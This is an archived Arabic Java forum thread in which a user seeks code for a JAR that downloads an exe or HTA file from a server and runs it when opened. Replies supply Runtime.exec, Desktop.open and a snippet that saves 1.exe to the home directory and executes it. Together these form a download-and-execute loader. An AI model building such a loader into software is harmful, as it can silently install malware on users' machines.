الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

مساعدة في كود برنامج تحميل وتنفيذ

بدأه AbOsS في 28 أبريل 2010 · 9 رد · 483 مشاهدة · في JavaSE
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم ورحمة الله وبركاته

أعتذر أولا من استاذي علآء الصالحي

وأقدم له شكري واحترامي

المشكلة أخواني في أني حاولت أكمل أمر التنفيذ في هذا الكود ولكن ما مشى معاي

الكود :

    import java.io.*;
      import java.net.*;
      public class Main
      {
      public static void main(String args[]) throws IOException
      {

      java.io.BufferedInputStream in = new java.io.BufferedInputStream(new

      java.net.URL("http://xxxxxxxxxxxxx/1.hta").openStream());
      java.io.FileOutputStream fos = new java.io.FileOutputStream("1.hta");
      java.io.BufferedOutputStream bout = new BufferedOutputStream(fos,1024);
      byte[] data = new byte[1024];
      int x=0;
      while((x=in.read(data,0,1024))>=0)
      {
      bout.write(data,0,x);
      }
      bout.close();
      in.close();
      }
      }

الآن الكود تمام ويحمل الملف أنا اريد من البرنامج بعد تحميل الملف أن يقوم بتنفيذه

طبعا الملف اللي بأحمله exe أو HTA

اذا ممكن تساعدوني أكون مقدر لكم

#2

أنا واثق يا أخي إن موضوع تنفيذ ملف معين من الجافا موجود هنا في المنتدي, على كل إستخدم الفئة التاليه:

http://java.sun.com/javase/6/docs/api/java/lang/Runtime.html

و بالأخص الداله التاليه:

http://java.sun.com/javase/6/docs/api/java/lang/Runtime.html#exec(java.lang.String)

#3

مشكور أخوي والله يعطيك العافية

أنا جربت كل اللي اعرفه

مثل

public class Test {
  public static void main(String[] args) throws Exception {
    Process p = Runtime.getRuntime().exec(
       "/1.hta");
    p.waitFor();
  }
}

ولكن لم يعمل بعد ادخاله على الكود السابق

#4

يا أخي, إسحب الملف من على السرفر, خزنه على القرص الصلب الخاص بيك, ثم نفذه ....

#5

استاذي أنا أحب يكون الملف بشكل JAR

لما تفتحه يشغل لك الملف اللي عالسيرفر

لكن المشكلة في فتح الملف بعد تخزينه

لو ممكن كود التنفيذ من أحد الأخوان ؟

#6
اقتباس
استاذي أنا أحب يكون الملف بشكل JAR

لما تفتحه يشغل لك الملف اللي عالسيرفر

لكن المشكلة في فتح الملف بعد تخزينه

مش فاهم حاجه,

و للعلم يا أخي أنا اعتقد بأن أي كود ينفذ على الطاير , هو يبدو لك كذلك, لكن في الواقع يتم إستخدام القرص الصلب لديك , و من هنا وجود الدليل /tmp في انظمة اليونكس و %temp% في نظام الويندوز

#7

استاذي

اكيد كلامك صحيح

فرضا حددت مكان التحميل في بداية الكود فرضا الى

java.io.FileOutputStream fos = new java.io.FileOutputStream("%temp% /1.hta");

كيف نكتب كود التنفيذ

استاذي لو ما فهمت علي عطني كود تنفيذ وأنا باحاول فيه ان شاء الله يجي معااي

وأشكرك على تفاعلك

الله يجزاك الجنة

#8

المشكلة كيف اقدر أعطيك كوووووووووووووود؟

:excl:

lfc18@live.com

#9

أعتذر لك مرة أخرى عن إساءتي في فهمك

وأتمنى أن تجد حلاً لمشكلتك معنا

على العموم جافا وفرت فئة اسمها Desktop في الإصدارة السادسة

تحتوي على دالة تمكنك من فتح أي ملف تريده

جربها ربما تثمر معك بنتيجة جيدة

Desktop.getDesktop().open(file);

تحياتي

1
حزمة المحرك الإصدارة 0.8

أي أحد يجد أني ظلمته فليراسلني

وبإذن الله لو كان له حق سيأخذه

728x90.png

#10

ممكن تستخدم حاجه زي كده:

String tmpPath = System.getProperty("user.home");
if (tmpPath != null && tmpPath.trim().length() > 0){
    tmpPath = tmpPath + "1.exe";
    System.out.println("Writting file to " + tmpPath);
}else{
    System.err.println("Error trying to retrive system property \"user.home\" ");
    System.exit(-1);
}
java.io.FileOutputStream fos = new java.io.FileOutputStream(tmpPath);
// write code here to write that network file to the harddisk
///

Runtime r = Runtime.getRuntime();
r.exec (tmpPath);

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…